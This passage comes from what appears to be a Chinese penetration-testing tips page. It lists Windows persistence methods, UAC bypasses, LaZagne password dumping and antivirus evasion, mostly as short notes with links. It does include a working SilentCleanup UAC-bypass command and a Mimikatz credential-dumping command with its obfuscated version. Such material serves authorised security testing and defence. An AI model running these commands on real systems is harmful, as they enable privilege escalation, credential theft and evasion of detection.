&lt;h4 id="toc_58" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：Shim&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方式：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;InjectDll

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;RedirectShortcut

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;RedirectEXE

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Compatibility-Shims/"&gt;《渗透测试中的Application Compatibility Shims》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_59" class="h16"&gt;&lt;span class="span_for_h"&gt;方法7：dll劫持&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过Rattler自动枚举进程，检测是否存在可用dll劫持利用的进程&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/DLL%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E%E8%87%AA%E5%8A%A8%E5%8C%96%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7Rattler%E6%B5%8B%E8%AF%95/"&gt;《DLL劫持漏洞自动化识别工具Rattler测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_60" class="h16"&gt;&lt;span class="span_for_h"&gt;方法8：DoubleAgent&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;编写自定义Verifier provider DLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过Application Verifier进行安装&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;注入到目标进程执行payload&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;每当目标进程启动，均会执行payload，相当于一个自启动的方式&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Verifier(DoubleAgent%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D)/"&gt;《渗透测试中的Application Verifier(DoubleAgent利用介绍)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_61" class="h16"&gt;&lt;span class="span_for_h"&gt;方法9：waitfor.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不支持自启动，但可远程主动激活，后台进程显示为waitfor.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/"&gt;《Use Waitfor.exe to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_62" class="h16"&gt;&lt;span class="span_for_h"&gt;方法10：AppDomainManager&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;针对.Net程序，通过修改AppDomainManager能够劫持.Net程序的启动过程。 如果劫持了系统常见.Net程序如powershell.exe的启动过程，向其添加payload，就能实现一种被动的后门触发机制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/"&gt;《Use AppDomainManager to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_63" class="h16"&gt;&lt;span class="span_for_h"&gt;方法11：Office加载项&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果系统已安装office软件，可通过配置Office加载项实现劫持，作为被动后门&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用利用方式：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Word WLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Excel XLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Excel VBA add-ins&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;PowerPoint VBA add-ins&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：https://github.com/3gstudent/Office-Persistence&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/"&gt;《Use Office to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/"&gt;《Office Persistence on x64 operating system》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_64" class="h16"&gt;&lt;span class="span_for_h"&gt;方法12：CLR&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;无需管理员权限的后门，并能够劫持所有.Net程序&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC:https://github.com/3gstudent/CLR-Injection&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-maintain-persistence/"&gt;《Use CLR to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_65" class="h16"&gt;&lt;span class="span_for_h"&gt;方法13：msdtc&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用MSDTC服务加载dll，实现自启动，并绕过Autoruns对启动项的检测&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/"&gt;《Use msdtc to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_66" class="h16"&gt;&lt;span class="span_for_h"&gt;方法14：Hijack CAccPropServicesClass and MMDeviceEnumerator&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不需要重启系统，不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：https://github.com/3gstudent/COM-Object-hijacking&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/"&gt;《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_67" class="h16"&gt;&lt;span class="span_for_h"&gt;方法15：Hijack explorer.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不需要重启系统，不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe/"&gt;《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_68" class="h16"&gt;&lt;span class="span_for_h"&gt;方法16：Windows FAX DLL Injection&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过DLL劫持，劫持Explorer.exe对fxsst.dll的加载&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Explorer.exe在启动时会加载&lt;code&gt;c：\Windows\System32\fxsst.dll&lt;/code&gt;(服务默认开启，用于传真服务)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将payload.dll保存在c：\Windows\fxsst.dll，能够实现dll劫持，劫持Explorer.exe对fxsst.dll的加载&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_69" class="h16"&gt;&lt;span class="span_for_h"&gt;方法17：劫持Office软件的特定功能&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过dll劫持,在Office软件执行特定功能时触发后门&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/"&gt;《利用BDF向DLL文件植入后门》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_70" class="h16"&gt;&lt;span class="span_for_h"&gt;方法17：特殊注册表键值&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在注册表启动项创建特殊名称的注册表键值，用户正常情况下无法读取(使用Win32 API)，但系统能够执行(使用Native API)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E5%88%9B%E5%BB%BA/"&gt;《渗透技巧——&amp;quot;隐藏&amp;quot;注册表的创建》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E6%9B%B4%E5%A4%9A%E6%B5%8B%E8%AF%95/"&gt;《渗透技巧——&amp;quot;隐藏&amp;quot;注册表的更多测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_71" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 31. UAC绕过&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_72" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：use eventvwr.exe and registry hijacking&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用：Win7，Win8.1，Win 10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/"&gt;《Study Notes of WMI Persistence using wmic.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/"&gt;《Userland registry hijacking》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_73" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：use sdclt.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-sdclt.exe-to-bypass-UAC/"&gt;《Study Notes of using sdclt.exe to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_74" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：use SilentCleanup&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win8,Win10&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f &amp;amp;&amp;amp; REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-SilentCleanup-to-bypass-UAC/"&gt;《Study Notes of using SilentCleanup to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_75" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：use wscript.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;只适用于Win7&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Empire%E4%B8%AD%E7%9A%84Invoke-WScriptBypassUAC%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/"&gt;《Empire中的Invoke-WScriptBypassUAC利用分析》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_76" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：use cmstp.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://msitpros.com/?p=3960&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用于Win7&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_77" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：修改环境变量，劫持高权限.Net程序&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win7-Win10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如gpedit.msc&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改环境变量，利用CLR劫持gpedit.msc的启动过程&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/"&gt;《Use CLR to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_78" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：修改注册表HKCU\Software\Classes\CLSID，劫持高权限程序&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win7-Win10&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{B29D466A-857D-35BA-8712-A758861BFEA1}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{D5AB5662-131D-453D-88C8-9BBA87502ADE}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{0A29FF9E-7F9C-4437-8B11-F424491E3931}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/"&gt;《Use CLR to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_79" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 32. Visual Studio生成的exe或是dll在其他系统使用，提示缺少相关DLL文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解放方法：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将程序打包发布&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;项目菜单-&amp;gt;项目属性，C/C++-&amp;gt;代码生成-&amp;gt;运行库，选择多线程 (/MT)&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_80" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 33. 使用LaZagne导出当前系统中常见应用存储的密码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;可以使用LaZagne导出当前系统中常见应用存储的密码（例如浏览器、Wifi、Git、Outlook等）&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/AlessandroZ/LaZagne&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，也可以修改LaZagne源码实现对其他应用的密码导出&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%9C%AC%E5%9C%B0%E5%AF%86%E7%A0%81%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7LaZagne%E4%B8%AD%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E8%84%9A%E6%9C%AC%E5%BC%80%E5%8F%91/"&gt;《本地密码查看工具LaZagne中的自定义脚本开发》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_81" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 34. 使用powershell读写文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读文本文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$file = Get-Content "1.txt"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;写文本文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Set-content "1.txt"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读二进制文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;写二进制文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_82" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 35. powershell作base64编码/解码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;编码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$encoded = [System.Convert]::ToBase64String($fileContent)&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$fileContent = [System.Convert]::FromBase64String($encoded)&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-BGInfo-to-bypass-Application-Whitelisting/"&gt;《Study Notes of using BGInfo to bypass Application Whitelisting》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_83" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 36 如果powershell脚本被查杀，可以尝试使用Invoke-Obfuscation进行混淆&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/danielbohannon/Invoke-Obfuscation&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;设置要混淆的代码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpasswords exit" "&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;输入&lt;code&gt;encoding&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;输入&lt;code&gt;1&lt;/code&gt;，指定编码为ascii&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;得到混淆后的代码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;" $(SEt-iTem  'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 , 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 97 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] $_) } ) +"$( Set-variAbLE  'oFS'  ' ' ) "|. ( $env:PUbLic[13]+$eNv:PuBlIc[5]+'x')&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_84" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 37 python脚本转exe&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常见的两种方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
